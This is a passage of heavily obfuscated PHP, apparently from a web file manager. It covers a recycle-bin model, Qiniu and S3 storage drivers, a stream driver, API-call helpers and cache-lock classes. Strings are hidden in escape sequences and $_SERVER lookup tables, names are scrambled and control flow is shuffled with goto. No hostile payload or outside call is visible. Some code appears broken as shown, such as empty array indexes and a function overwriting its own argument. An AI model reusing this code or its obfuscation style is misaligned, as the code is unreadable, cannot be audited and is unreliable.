count($Fᬬ) + 1; $a++) { $e = substr($d݇ý͗, 0, strlen($d݇ý͗) - strlen($a֕)); $cﴳ = $e . "\50{$a}\51{$a֕}"; if (!in_array_not_case($cﴳ, $Fᬬ)) { return $cﴳ; } } } } class SourceRecycleModel extends ModelBase { protected $tableName = "\151\157\x5f\163\157\165\162\x63\145\137\x72\145\143\171\143\154\145"; protected $dataAuto = array(array("\x63\162\145\x61\x74\145\124\151\155\x65", "\x74\151\x6d\145", "\151\x6e\163\145\x72\x74", "\146\x75\x6e\x63\164\x69\x6f\156")); public function listData($C̄ͮ = false) { $e튇䭬 =& $_SERVER[ڊ]; $C̄ͮ = $C̄ͮ ? $C̄ͮ : USER_ID; $F = $this->where(array($e튇䭬[1400] => $C̄ͮ))->select(); return array_to_keyvalue($F, $e튇䭬[33], $e튇䭬[366]); } public function moveToRecycle($Dͧ) { goto e񿊡; e񿊡: $AҖ݈ =& $_SERVER[ڊ]; $Eõ = Model($AҖ݈[1102]); $bϻ = $Eõ->sourceInfo($Dͧ); goto E·; C: $this->recycleMove($Dͧ, 1); if ($bϻ[$AҖ݈[367]] == $AҖ݈[83]) { $Bֵ = array($AҖ݈[521] => array($AҖ݈[479], $bϻ[$AҖ݈[455]] . $Dͧ . $AҖ݈[480])); $Eõ->where($Bֵ)->setField($AҖ݈[393], 1); } goto Dړ; E·: if (!$bϻ || $bϻ[$AҖ݈[393]] == $AҖ݈[83]) { return; } $DްΑ = array($AҖ݈[380] => $Dͧ, $AҖ݈[1400] => USER_ID, $AҖ݈[517] => $bϻ[$AҖ݈[368]], $AҖ݈[518] => $bϻ[$AҖ݈[452]], $AҖ݈[521] => $bϻ[$AҖ݈[455]]); $this->add($DްΑ); goto C; Dړ: } public function clear() { $this->remove(!1); } public function remove($f򉚌 = false) { goto d; d: $Eŵ =& $_SERVER[ڊ]; $cŊ = Model($Eŵ[1102]); $dϑ = $this->listData(); goto aб; aб: $f򉚌 = $f򉚌 === !1 ? !1 : $f򉚌; $c = array(); foreach ($dϑ as $a囆) { if ($f򉚌 != !1 && !in_array($a囆, $f򉚌)) { continue; } $cŊ->remove($a囆, !1); $Dꏰ = $this->where(array($Eŵ[366] => $a囆))->find(); $C = $Dꏰ[$Eŵ[368]] . $Eŵ[70] . $Dꏰ[$Eŵ[452]]; $c[$C] = array($Eŵ[517] => $Dꏰ[$Eŵ[368]], $Eŵ[452] => $Dꏰ[$Eŵ[452]]); $this->where(array($Eŵ[366] => $a囆))->delete(); } goto E͢; E͢: foreach ($c as $B) { $cŊ->targetSpaceUpdate($B[$Eŵ[368]], $B[$Eŵ[452]]); } goto f͡; f͡: } public function restore($d› = false) { goto Eͱ; Eͱ: $e⑺ =& $_SERVER[ڊ]; $d = Model($e⑺[1102]); $b = $this->listData(); goto cР鯇; b: foreach ($b as $B̏) { goto Eᚆ퓅; A: $DѠؐ[] = $E裃ڐ[$e⑺[457]]; if ($E裃ڐ[$e⑺[367]] == $e⑺[83]) { $DѠؐ[] = $B̏; } $d->lockMoveEnd($B̏); goto B; c: if ($E裃ڐ[$e⑺[367]] == $e⑺[83]) { $D砖 = array($e⑺[521] => array($e⑺[479], $E裃ڐ[$e⑺[455]] . $B̏ . $e⑺[480])); $d->where($D砖)->setField($e⑺[393], 0); } $this->where(array($e⑺[366] => $B̏))->delete(); $d->folderSizeReset($E裃ڐ[$e⑺[457]]); goto A; Eᚆ퓅: if ($d› != !1 && !in_array($B̏, $d›)) { continue; } $E裃ڐ = $d->sourceInfo($B̏); $d謒 = $d->sourceInfo($E裃ڐ[$e⑺[457]]); goto D; D: if ($d謒[$e⑺[393]] == $e⑺[83]) { continue; } $d->lockMoveStart($B̏); $this->recycleMove($B̏, 0); goto c; B: } $d->updateModifyTime($DѠؐ); goto d; cР鯇: $d› = $d› == !1 ? !1 : $d›; if (!$b) { return !0; } $DѠؐ = array(); goto b; d: } private function recycleMove($e, $D݃ = 1) { $BƷŚ =& $_SERVER[ڊ]; $Bƍ = Model($BƷŚ[1102]); $E = Model($BƷŚ[2320]); $a = array($BƷŚ[366] => $e); if ($D݃) { $Bƍ->where($a)->setField($BƷŚ[393], 1); $E->eventRecycle($e, $BƷŚ[2321]); } else { $E޶ = $Bƍ->where($a)->find(); $B = $E޶[$BƷŚ[367]] == $BƷŚ[83]; $f = $Bƍ->fileNameAuto($E޶[$BƷŚ[457]], $E޶[$BƷŚ[28]], REPEAT_RENAME_FOLDER, $B); if ($f != $E޶[$BƷŚ[28]]) { $Bƍ->rename($e, $f); } $Bƍ->where($a)->setField($BƷŚ[393], 0); $E->eventRecycle($e, $BƷŚ[2322]); } } } goto e܉Ӷ; FҧԈ: class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $config = null; protected $bucketManager = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\60"; public function __construct($c爐) { parent::__construct(); require_once SDK_DIR . $_SERVER[ڊ][1199]; $this->_init($c爐); } public function _init($a豄) { foreach ($a豄 as $f => $Cŏ) { if (isset($this->{$f})) { $this->{$f} = $Cŏ; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { show_json($_SERVER[ڊ][1200], !1); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->config = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->config); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($cʖ, $Fی = '', $d䃊Ʀ = REPEAT_RENAME) { if ($this->setContent($cʖ, $Fی)) { return $this->getPathOuter($cʖ); } return !1; } public function mkdir($cŽۅ, $f߅Է = REPEAT_SKIP) { goto a; a: $AР =& $_SERVER[ڊ]; $Fԕ쯲 = trim($cŽۅ, $AР[8]); if ($this->_isFolder($Fԕ쯲)) { return $this->getPathOuter($Fԕ쯲); } goto d؅ލ; Dݠ: if (!$this->mkfile($e)) { return !1; } if (!$this->moveFile($e, $cŽۅ)) { $this->delFile($e); return !1; } return $this->getPathOuter($Fԕ쯲); goto B݉; d؅ލ: $cŽۅ = $Fԕ쯲 . $AР[8]; $eȕă = get_path_this($Fԕ쯲); $e = $cŽۅ . $eȕă; goto Dݠ; B݉: } public function copyFile($dׅ, $bå) { $dָ = $this->bucketManager->copy($this->bucket, $dׅ, $this->bucket, $bå, !0); return $dָ ? !1 : !0; } public function moveFile($eÔ, $bב) { $bɅ = $this->bucketManager->move($this->bucket, $eÔ, $this->bucket, $bב, !0); return $bɅ ? !1 : !0; } public function delFile($a޶ΐ) { $Eߜʠ = $this->bucketManager->delete($this->bucket, $a޶ΐ); return $Eߜʠ ? !1 : !0; } public function delFolder($b) { $c = $this->fileList($b); if (empty($c)) { return !0; } $Bն = 1000; if (count($c) <= $Bն) { return $this->qnDelObj($c) ? !1 : !0; } foreach (array_chunk($c, $Bն) as $FΧψ) { $A˦˗ = $this->qnDelObj($FΧψ); if ($A˦˗) { return !1; } } return !0; } private function qnDelObj($D) { $Eê = $this->bucketManager->buildBatchDelete($this->bucket, $D); list($EϷ, $c̾) = $this->bucketManager->batch($Eê); return $c̾; } private function fileList($b떝, $dΦϗ = 0) { goto b˗; Fʐ: $a = array(); while (!0) { list($d铊, $f٬) = $this->bucketManager->listFiles($this->bucket, $c髫, $fЈ, $BԤިɕ, $Eѩ); if ($f٬) { return !1; } $fЈ = array_key_exists($EՊ[1170], $d铊) ? $fЈ = $d铊[$EՊ[1201]] : $EՊ[33]; foreach ($d铊[$EՊ[1202]] as $e) { $B圩 = $e[$EՊ[89]]; if ($dΦϗ) { $B圩 = array($EՊ[28] => $B圩, $EՊ[77] => $e[$EՊ[1203]]); } $a[] = $B圩; } if ($fЈ == $EՊ[33]) { break; } } return $a; goto f; b˗: $EՊ =& $_SERVER[ڊ]; $b떝 = trim($b떝, $EՊ[8]); $c髫 = empty($b떝) ? $EՊ[33] : $b떝 . $EՊ[8]; goto Aѱ; Aѱ: $fЈ = $EՊ[33]; $BԤިɕ = 1000; $Eѩ = $EՊ[33]; goto Fʐ; f: } public function rename($dʜ, $B㷩ɯ) { return $this->renameObject($dʜ, $B㷩ɯ); } public function fileInfo($bͧѻ, $bܚ = false, $eσ = array()) { goto bή; a: if (empty($eσ)) { $eσ = $this->objectMeta($bͧѻ); if (!$eσ) { return $A; } } if (isset($eσ[$FϪϻ[1204]])) { $A[$FϪϻ[184]] = $eσ[$FϪϻ[1204]]; } if (isset($eσ[$FϪϻ[1203]])) { $A[$FϪϻ[77]] = $eσ[$FϪϻ[1203]]; } goto fڈۣ; fڈۣ: return $A; goto Ę; bή: $FϪϻ =& $_SERVER[ڊ]; if ($bܚ) { return array($FϪϻ[28] => $this->pathThis($bͧѻ), $FϪϻ[75] => $this->getPathOuter($FϪϻ[8] . $bͧѻ), $FϪϻ[29] => $FϪϻ[164], $FϪϻ[77] => isset($eσ[$FϪϻ[1203]]) ? $eσ[$FϪϻ[1203]] : 0, $FϪϻ[157] => $this->ext($bͧѻ)); } $A = array($FϪϻ[28] => $this->pathThis($bͧѻ), $FϪϻ[75] => $this->getPathOuter($FϪϻ[8] . $bͧѻ), $FϪϻ[29] => $FϪϻ[164], $FϪϻ[184] => 0, $FϪϻ[107] => 0, $FϪϻ[77] => 0, $FϪϻ[157] => $this->ext($bͧѻ), $FϪϻ[185] => !0, $FϪϻ[186] => !0); goto a; Ę: } public function folderInfo($d꠬, $D = false) { goto eڧ; eڧ: $a =& $_SERVER[ڊ]; if ($D) { return array($a[28] => $this->pathThis($d꠬), $a[75] => $this->getPathOuter($a[8] . $d꠬), $a[29] => $a[76]); } $dך = array($a[28] => $this->pathThis($d꠬), $a[75] => $this->getPathOuter($a[8] . $d꠬), $a[29] => $a[76], $a[184] => 0, $a[107] => 0, $a[1146] => !0, $a[1147] => !0); goto a; a: $d꠬ = rtrim($d꠬, $a[8]) . $a[8]; $BΘ = $this->objectMeta($d꠬); if (isset($BΘ[$a[1204]])) { $dך[$a[184]] = $BΘ[$a[1204]]; } goto e冄; e冄: return $dך; goto d˜; d˜: } public function listPath($Cͦ, $Bˑ˝ = false) { goto fڠ; fڠ: $eߑ =& $_SERVER[ڊ]; $Cͦ = trim($Cͦ, $eߑ[8]); $fݗϟ = empty($Cͦ) ? $eߑ[33] : $Cͦ . $eߑ[8]; goto d; fُ: $A = $e = array(); while (!0) { list($b֋, $CĢې) = $this->bucketManager->listFiles($this->bucket, $fݗϟ, $f, $aٯ, $bē); if ($CĢې) { return !1; } $f = array_key_exists($eߑ[1170], $b֋) ? $f = $b֋[$eߑ[1201]] : $eߑ[33]; if (isset($b֋[$eߑ[1205]])) { foreach ($b֋[$eߑ[1205]] as $aą) { if ($aą == $fݗϟ) { continue; } $A[] = $this->folderInfo($aą, $Bˑ˝); } } if (isset($b֋[$eߑ[1202]])) { foreach ($b֋[$eߑ[1202]] as $dП՚) { if ($dП՚[$eߑ[89]] == $fݗϟ) { continue; } $e[] = $this->fileInfo($dП՚[$eߑ[89]], $Bˑ˝, $dП՚); } } if ($f == $eߑ[33]) { break; } } return array($eߑ[74] => $A, $eߑ[73] => $e); goto e̒; d: $f = $eߑ[33]; $aٯ = 1000; $bē = $eߑ[8]; goto fُ; e̒: } public function has($b颪ߜ, $cڨ = false, $dӔ = true) { goto dώ칦; f䤈: if ($cڨ) { return array($e𪝄[188] => $b爂, $e𪝄[189] => $Aں); } return !1; goto e˥; bʼn: $aޕؙ = $e𪝄[33]; $Dü… = 1000; $B򼋸 = $e𪝄[8]; goto F; F: $b爂 = 0; $Aں = 0; while (!0) { list($Aٗ, $F̚) = $this->bucketManager->listFiles($this->bucket, $BὊ, $aޕؙ, $Dü…, $B򼋸); if ($F̚) { return !1; } $aޕؙ = array_key_exists($e𪝄[1170], $Aٗ) ? $aޕؙ = $Aٗ[$e𪝄[1201]] : $e𪝄[33]; if ($cڨ) { if (!empty($Aٗ[$e𪝄[1202]])) { $b爂 += count($Aٗ[$e𪝄[1202]]); } if (!empty($Aٗ[$e𪝄[1205]])) { $Aں += count($Aٗ[$e𪝄[1205]]); } if ($aޕؙ === $e𪝄[33]) { break; } continue; } if ($dӔ) { if (!empty($Aٗ[$e𪝄[1202]])) { return !0; } } else { if (!empty($Aٗ[$e𪝄[1205]])) { return !0; } } if ($aޕؙ == $e𪝄[33]) { break; } } goto f䤈; dώ칦: $e𪝄 =& $_SERVER[ڊ]; $b颪ߜ = trim($b颪ߜ, $e𪝄[8]); $BὊ = empty($b颪ߜ) ? $e𪝄[33] : $b颪ߜ . $e𪝄[8]; goto bʼn; e˥: } public function listAll($FС) { $a߿ĺ =& $_SERVER[ڊ]; $D؅ = $this->fileList($FС, 1); $fх = array(); foreach ($D؅ as $e) { $fх[$e[$a߿ĺ[28]]] = $e[$a߿ĺ[77]]; } return $this->listAllFiles($FС, array_keys($fх), $fх); } public function canRead($Cü) { return $this->exist($Cü) ? !0 : !1; } public function canWrite($aĿ) { return $this->exist($aĿ) ? !0 : !1; } public function getContent($f猴) { return $this->fileSubstr($f猴, 0, -1); } public function setContent($CÑ, $d = '') { $e = $this->tempFile($this->pathThis($CÑ)); file_put_contents($e, $d); if ($this->upload($CÑ, $e)) { $this->tempFileRemve($e); return !0; } return !1; } public function refreshUrls($c܍) { goto E믎; b䇖: return $fھ[$E晏[1206]] == $E晏[691] ? !0 : !1; goto aʭ; E믎: $E晏 =& $_SERVER[ڊ]; $C챹 = array(); if (is_array($c܍)) { foreach ($c܍ as $F) { $C챹[] = $this->link($F); } } else { $C챹[] = $this->link($c܍); } goto Bڏ; Bڏ: $CΎ = new Qiniu\Cdn\CdnManager($this->auth); list($fھ, $BҸ) = $CΎ->refreshUrls($C챹); if ($BҸ) { return !1; } goto b䇖; aʭ: } public function fileSubstr($Cɖ, $B앴, $bÆщ) { $dď =& $_SERVER[ڊ]; if (!($bŝ = $this->link($Cɖ))) { return !1; } $bᧇ = !1; if ($bÆщ > 0) { $a٩ = $B앴 + $bÆщ - 1; $bᧇ = array($dď[1207] . $B앴 . $dď[408] . $a٩); } $cڗ = url_request($bŝ, $dď[213], !1, $bᧇ); return $cڗ[$dď[684]] ? $cڗ[$dď[1026]] : !1; } public function upload($B , $c, $b뷤Í = false, $F໇ݿ = REPEAT_REPLACE) { $A杝韈 = new Qiniu\Storage\UploadManager(); $FɗƢ = $this->auth->uploadToken($this->bucket, $B ); $e = get_file_mime(get_path_ext($c)); list($E醧, $e) = $A杝韈->putFile($FɗƢ, $B , $c, null, $e); return $e ? !1 : $this->getPathOuter($B ); } public function uploadFormData($aݡ, $C󻻆 = 3600) { return $this->uploadToken($aݡ, $C󻻆); } public function multiUploadFormData($Fæ, $A = 3600) { return $this->uploadToken($Fæ, $A); } private function uploadToken($Eѕ, $D = 3600) { goto D; c䴽: $Fŧ = http_type() . "\x3a\x2f\x2f\165\160\154\157\x61\144{$d}\x2e\161\151\x6e\151\165\x70\56\143\x6f\x6d\57"; return array($F¦ĸ[1211] => $D–, $F¦ĸ[1212] => $Fŧ); goto AǶ; D: $F¦ĸ =& $_SERVER[ڊ]; $FÚ = $D; $e۰ = array($F¦ĸ[1208] => $F¦ĸ[1209]); goto C˖; C˖: $cƃȣ = null; $D– = $this->auth->uploadToken($this->bucket, $cƃȣ, $FÚ, $e۰, !0); $d = empty($this->region) || $this->region == $F¦ĸ[1210] ? $F¦ĸ[33] : $F¦ĸ[408] . $this->region; goto c䴽; AǶ: } public function download($C˙, $AΚ) { goto D繍̡; D繍̡: $aٙ = IO::getPathInner(IO::mkfile($AΚ)); if (!($d̴ = $this->link($C˙))) { return !1; } $A骃 = 0; goto A; A: $E˘ = 1024 * 200; $e௻ = fopen($aٙ, $_SERVER[ڊ][1213]); while (!0) { $C돮ϐ = $this->fileSubstr($C˙, $A骃, $E˘); if ($C돮ϐ === !1) { return !1; } fwrite($e௻, $C돮ϐ); $A骃 += $E˘; if (strlen($C돮ϐ) < $E˘) { break; } } goto f; f: fclose($e௻); return $AΚ; goto aނ; aނ: } public function link($fپ, $e狄 = '') { if (!$this->isFile($fپ)) { return !1; } $E֘ = $this->getHost() . $_SERVER[ڊ][8] . $this->pathEncode($fپ) . $e狄; return $this->auth->privateDownloadUrl($E֘, 3600 * 12); } public function fileOut($cڟ, $b = false, $Aު = false, $b妢 = '') { $aۈ =& $_SERVER[ڊ]; if (!$Aު) { $Aު = $this->pathThis($cڟ); } $e󌏐 = $b ? $aۈ[1214] . rawurlencode($Aު) : $aۈ[33]; $F˪̥ = $this->link($cڟ, $e󌏐); $this->fileOutLink($F˪̥); } public function fileOutServer($FӟÕ, $bꯒ㶸 = false, $B = false, $cވ = '') { parent::fileOut($FӟÕ, $bꯒ㶸, $B, $cވ); } public function fileOutImage($E߫•, $BŶ󎗅 = 250) { $Cnj = $this->link($E߫•, $_SERVER[ڊ][1215] . $BŶ󎗅); $this->fileOutLink($Cnj); } public function fileOutImageServer($C݂, $e֞ = 250) { parent::fileOutImage($C݂, $e֞); } public function hashMd5($E) { $Bڂ =& $_SERVER[ڊ]; $A = $this->objectMeta($E); return isset($A[$Bڂ[193]]) ? $A[$Bڂ[193]] : !1; $dڡؑ = $this->link($E, $Bڂ[1216]); } public function size($EƤ) { $b牚 = $this->objectMeta($EƤ); return $b牚 ? $b牚[$_SERVER[ڊ][77]] : 0; } public function info($bƈ) { if ($this->isFolder($bƈ)) { return $this->folderInfo($bƈ); } else { if ($this->isFile($bƈ)) { return $this->fileInfo($bƈ); } } return !1; } public function exist($C) { return $this->isFile($C) || $this->isFolder($C); } public function isFile($Aʝ디) { return !$this->isFolder($Aʝ디) && $this->objectMeta($Aʝ디); } public function isFolder($Bĭ) { return $this->cacheMethod($_SERVER[ڊ][220], $Bĭ); } protected function objectMeta($FΗ) { return $this->cacheMethod($_SERVER[ڊ][221], $FΗ); } protected function _objectMeta($D) { $Eꂧ =& $_SERVER[ڊ]; list($dҠ, $D) = $this->bucketManager->stat($this->bucket, $D); if ($dҠ) { $dҠ[$Eꂧ[77]] = intval($dҠ[$Eꂧ[1203]]); } return $dҠ; } protected function _isFolder($f݂) { $f݂ =& $_SERVER[ڊ]; list($B, $dѝ) = $this->bucketManager->listFiles($this->bucket, trim($f݂, $f݂[8]) . $f݂[8], $f݂[33], 1, $f݂[8]); return !empty($B[$f݂[1202]]) || !empty($B[$f݂[1205]]) ? !0 : !1; } } class PathDriverS3 extends PathDriverBaseS3 { public function __construct($e) { parent::__construct($e); } public function uploadFormData($Dϳ, $Bĥ = 3600) { goto cŇ; a: $Bϛ = array($DԂ[196] => $DԂ[33], $DԂ[1130] => $DԂ[33], $DԂ[1089] => $d, $DԂ[1093] => $F , $DԂ[1097] => $c, $DԂ[1131] => $Eֵ, $DԂ[1132] => $b᫮, $DԂ[1133] => $E, $DԂ[1134] => $BӢ, $DԂ[1135] => $Aۤ, $DԂ[166] => $this->getHost()); return $Bϛ; goto eŔ; EϨӮ: $A = hash_hmac($DԂ[1128], $e, $E, !0); $B = hash_hmac($DԂ[1128], $a, $A, !0); $Aۤ = hash_hmac($DԂ[1128], $c, $B); goto a; cԼ: $c = base64_encode(json_encode($b)); $d䨺ن = hash_hmac($DԂ[1128], $A, $DԂ[1129] . $this->secret, !0); $E = hash_hmac($DԂ[1128], $this->region, $d䨺ن, !0); goto EϨӮ; bѥ: $a = $DԂ[1120]; $BӢ = $Bĥ . $DԂ[33]; $F  = $DԂ[1085]; goto a; F콍: $e = $DԂ[59]; $E = gmdate($DԂ[1119]); $A = gmdate($DԂ[685]); goto bѥ; a: $bƃޏ = array($this->accessKey, $A, $this->region, $e, $a); $Eֵ = implode($DԂ[8], $bƃޏ); $b = array($DԂ[1087] => gmdate($DԂ[1086], strtotime($DԂ[1121])), $DԂ[1088] => array(array($DԂ[1090] => $this->bucket), array($DԂ[1089] => $d), array($DԂ[1091], $DԂ[1092], $DԂ[33]), array($DԂ[1091], $DԂ[1122], $DԂ[33]), array($DԂ[1091], $DԂ[1123], $DԂ[33]), array($DԂ[1093] => $F ), array($DԂ[1124] => $Eֵ), array($DԂ[1125] => $b᫮), array($DԂ[1126] => $E), array($DԂ[1127] => $BӢ))); goto cԼ; cŇ: $DԂ =& $_SERVER[ڊ]; $d = $DԂ[182]; $b᫮ = $DԂ[1118]; goto F콍; eŔ: } public function multiUploadFormData($D, $E = 3600) { $bݞ =& $_SERVER[ڊ]; $B = gmdate($bݞ[1217]); $e = array(); $B = $this->client->getUploadId($this->bucket, $D, $e); if (!$B) { return !1; } return array($bݞ[206] => $B, $bݞ[166] => $this->getHost() . $bݞ[8] . $this->pathEncode($D), $bݞ[207] => $B, $bݞ[89] => $D); } public function multiUploadAuthData($cû, $eNj = array()) { goto eΟƣ; DԤ: if (strpos($fĘ, $eۮ[210]) === 0) { if (isset($aDž[$eۮ[1219]])) { $Bͫ = $aDž[$eۮ[1219]]; } else { if (isset($E…[$eۮ[1219]])) { $Bͫ = $E…[$eۮ[1219]]; } else { $Bͫ = hash($eۮ[1128], $eۮ[33]); } } return array($eۮ[217] => $E…[$eۮ[217]], $eۮ[1219] => $Bͫ, $eۮ[207] => $E…[$eۮ[1222]]); } return $E…[$eۮ[217]]; goto dώ; e蚪: if (isset($eNj[$eۮ[1218]])) { $aDž[$eۮ[1219]] = $eNj[$eۮ[1218]]; } $E = explode($eۮ[168], $this->getHost()); $BꟖ = array($eۮ[1220] => $E[1], $eۮ[1221] => $eۮ[33], $eۮ[196] => $eۮ[116], $eۮ[1130] => $eNj[$eۮ[77]]); goto bDz̎; bDz̎: $Eý = $eۮ[211]; $bͩ = $eۮ[8] . $this->pathEncode($D) . $fĘ; $E… = $this->client->__getSignatureV4($aDž, $BꟖ, $Eý, $bͩ); goto DԤ; C䵩: unset($eNj[$eۮ[89]]); if (isset($eNj[$eۮ[208]])) { return $this->listUploadParts($D, $eNj); } $aDž = array(); goto e蚪; eΟƣ: $eۮ =& $_SERVER[ڊ]; $fĘ = isset($eNj[$eۮ[157]]) ? $eNj[$eۮ[157]] : $eۮ[33]; $D = $eNj[$eۮ[89]]; goto C䵩; dώ: } public function listUploadParts($EŊᴚ, $eه = array()) { goto Bַ; eч稞: $E䴈 = array($DDŽ돩ً[1220] => $FDŽ֛ø[1], $DDŽ돩ً[196] => $DDŽ돩ً[116], $DDŽ돩ً[1130] => strlen($a҈)); $B = $DDŽ돩ً[209]; $Câ = $DDŽ돩ً[8] . $this->pathEncode($EŊᴚ) . $eه[$DDŽ돩ً[157]]; goto D; E: $a҈ .= $DDŽ돩ً[1226]; $Dڃ = array(); $FDŽ֛ø = explode($DDŽ돩ً[168], $this->getHost()); goto eч稞; e: if (!$Eħ) { return !1; } $a҈ = $DDŽ돩ً[1223]; foreach ($Eħ as $C) { $a҈ .= $DDŽ돩ً[1224] . "\x3c\x50\141\162\x74\116\x75\155\x62\x65\162\76{$C[$DDŽ돩ً[1175]]}\x3c\x2f\x50\141\x72\x74\x4e\165\x6d\x62\x65\162\76\12" . "\74\105\124\x61\x67\76{$C[$DDŽ돩ً[1176]]}\x3c\57\105\124\141\147\76\xa" . $DDŽ돩ً[1225]; } goto E; D: $e = $this->client->__getSignatureV4($Dڃ, $E䴈, $B, $Câ, $a҈); return array($DDŽ돩ً[217] => $e[$DDŽ돩ً[217]], $DDŽ돩ً[207] => $e[$DDŽ돩ً[1222]], $DDŽ돩ً[219] => $Eħ, $DDŽ돩ً[1219] => $e[$DDŽ돩ً[1219]]); goto Cűܳ; Bַ: $DDŽ돩ً =& $_SERVER[ڊ]; $e = str_replace($DDŽ돩ً[218], $DDŽ돩ً[33], $eه[$DDŽ돩ً[157]]); $Eħ = $this->client->listParts($this->bucket, $EŊᴚ, $e); goto e; Cűܳ: } public function link($d̶, $fϻ = array()) { return parent::link($d̶, $fϻ); } public function fileOut($E㓄Ԕ, $EɆ = false, $f = false, $B = '') { if (strstr($this->endpoint, $_SERVER[ڊ][1227])) { return parent::fileOutServer($E㓄Ԕ, $EɆ, $f, $B); } parent::fileOut($E㓄Ԕ, $EɆ, $f, $B); } public function fileOutImage($C󴾂, $C쌉 = 250) { if (strstr($this->endpoint, $_SERVER[ڊ][1227])) { return parent::fileOutImageServer($C󴾂, $C쌉); } parent::fileOutImage($C󴾂, $C쌉); } public function fileOutLink($Cя٢) { $bŦ =& $_SERVER[ڊ]; if (substr($Cя٢, 0, 7) == $bŦ[1100]) { $Cя٢ = $bŦ[1101] . substr($Cя٢, 7); } header($bŦ[153] . $Cя٢); die; } public function getHost() { $Dɼ鳅 =& $_SERVER[ڊ]; $E鵇 = str_rtrim(parent::getHost(), $Dɼ鳅[8] . $this->bucket); $E鵇 = explode($Dɼ鳅[168], $E鵇); return $E鵇[0] . $Dɼ鳅[168] . $this->bucket . $Dɼ鳅[93] . $E鵇[1]; } } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($f, $c󩃜 = 0) { parent::__construct(); $this->source = $f; $this->sourceSize = $c󩃜; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($B̺ = false) { return $this->sourceSize; } public function getContent($B = false) { if ($this->sourceType == self::TYPE_STRING) { return $this->source; } if ($this->sourceType == self::TYPE_FILE) { $Eꂶ索 = ftell($this->source); $aʰ = @fread($this->source, $this->sourceSize); fseek($this->source, $Eꂶ索); return $aʰ; } } public function fileSubstr($dƛ = false, $Bݦٷ = 0, $F탟 = 0) { if (!$F탟) { $F탟 = $this->sourceSize; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $Bݦٷ, $F탟); } if ($this->sourceType == self::TYPE_FILE) { $a׫޴ = ftell($this->source); fseek($this->source, $a׫޴ + $Bݦٷ); $D = @fread($this->source, $F탟); fseek($this->source, $a׫޴); return $D; } } public function hashMd5($Dٶ = false) { return md5($this->getContent()); } public static function hash($dۋޡ, $e = 0) { $A슶֊ = new PathDriverStream($dۋޡ, $e); return $A슶֊->hashSimple($dۋޡ); } public static function md5($C, $d䜔넃 = 0) { $D׶ = new PathDriverStream($C, $d䜔넃); return $D׶->hashMd5($C); } } goto aö; a: function ActionCall($BѼ) { $Aɨפ = array_slice(func_get_args(), 1); return ActionApply($BѼ, $Aɨפ); } function ActionCallApi($A, $Cȃ = '') { goto Aˇ; Aˇ: $C =& $_SERVER[]; $aՙ = $Cȃ; if (is_array($Cȃ)) { $aՙ = $C[20]; foreach ($Cȃ as $Aú => $D͈) { $D͈ = is_array($D͈) ? json_encode($D͈) : $D͈; $D͈ = is_bool($D͈) ? intval($D͈) : $D͈; $aՙ .= $C[21] . $Aú . $C[22] . rawurlencode($D͈); } } goto c; eܭ: return $c; goto FŪ; c: $dݿ뺸 = Action($C[23])->accessToken(); $A = str_replace($C[5], $C[4], $A) . $C[24] . $dݿ뺸 . $aՙ; $eȄ؎ = $C[20]; goto C; b∲: $aګ = json_decode($eȄ؎, !0); $c = is_array($aګ) ? $aګ : array($C[33] => null, $C[34] => $eȄ؎); if (!$aګ) { echo $eȄ؎; } goto eܭ; C: $CĆ = phpBinCommand(); if ($CĆ && function_exists($C[25])) { $A = $CĆ . $C[26] . BASIC_PATH . $C[27] . escapeshellarg($A); $eȄ؎ = shell_exec($A); } if (!$eȄ؎) { $Eև = stream_context_create(array($C[28] => array($C[29] => 20, $C[30] => $C[31]))); $eȄ؎ = file_get_contents(APP_HOST . $C[32] . $A, !1, $Eև); } goto b∲; FŪ: } function ActionCallHook($f) { goto flj; CНǍ: $B¦ڒ = $Eߵچ ? json_decode($Eߵچ, !0) : $B¦ڒ; $GLOBALS[$A਴[35]] = 0; return $B¦ڒ; goto f¾ǘ; flj: $A਴ =& $_SERVER[]; ob_start(); $C毈 = array_slice(func_get_args(), 1); goto Aٌ؎; Aٌ؎: $GLOBALS[$A਴[35]] = 1; $B¦ڒ = ActionApply($f, $C毈); $Eߵچ = ob_get_clean(); goto CНǍ; f¾ǘ: } goto A֑嚗; A: class CacheLockMemcached { public function lock($Eճʅ, $Fܐ = 0) { $DĐ = Cache::init(); $B = microtime(!0) + $Fܐ; while (microtime(!0) < $B) { $e̞ = $DĐ->get($Eճʅ); if (!$e̞ || $e̞ < microtime(!0)) { $Aم = $DĐ->handle->add($Eճʅ, $B, $Fܐ); if ($Aم) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($e) { return Cache::init()->get($e); } public function unlock($AɏƟ) { return Cache::init()->remove($AɏƟ); } } class CacheLockDatabase { public function lock($bʚ, $d΅ = 0) { $Bɕۺ = Model($_SERVER[ڊ][750]); $dȿ = microtime(!0) + $d΅; while (microtime(!0) < $dȿ) { $FՋ = $Bɕۺ->get($bʚ); if (!$FՋ || $FՋ < microtime(!0)) { $C = $Bɕۺ->set($bʚ, $dȿ); if ($C) { return !0; } } cacheLockWait(); } return !1; } public function lockGet($Dб¡) { return Model($_SERVER[ڊ][750])->get($Dб¡); } public function unlock($dٷ) { Model($_SERVER[ڊ][750])->remove($dٷ); } } class CacheMemcached { public $handle; public $cacheTime; public function __construct($B, $F̟Ï) { $aǷä =& $_SERVER[ڊ]; if (!class_exists($aǷä[771])) { show_json($aǷä[772], !1); } $this->cacheTime = $F̟Ï; $this->handle = new Memcached(); if (is_array($B[$aǷä[773]]) && count($B[$aǷä[773]]) >= 1) { foreach ($B[$aǷä[773]] as $E) { $d = explode($aǷä[4], $E); $this->handle->addServer($d[0], $d[1]); } } else { $this->handle->addServer($B[$aǷä[166]], $B[$aǷä[167]]); } } public function set($dƋ, $b, $A = false) { $A = $A ? $A : $this->cacheTime; return 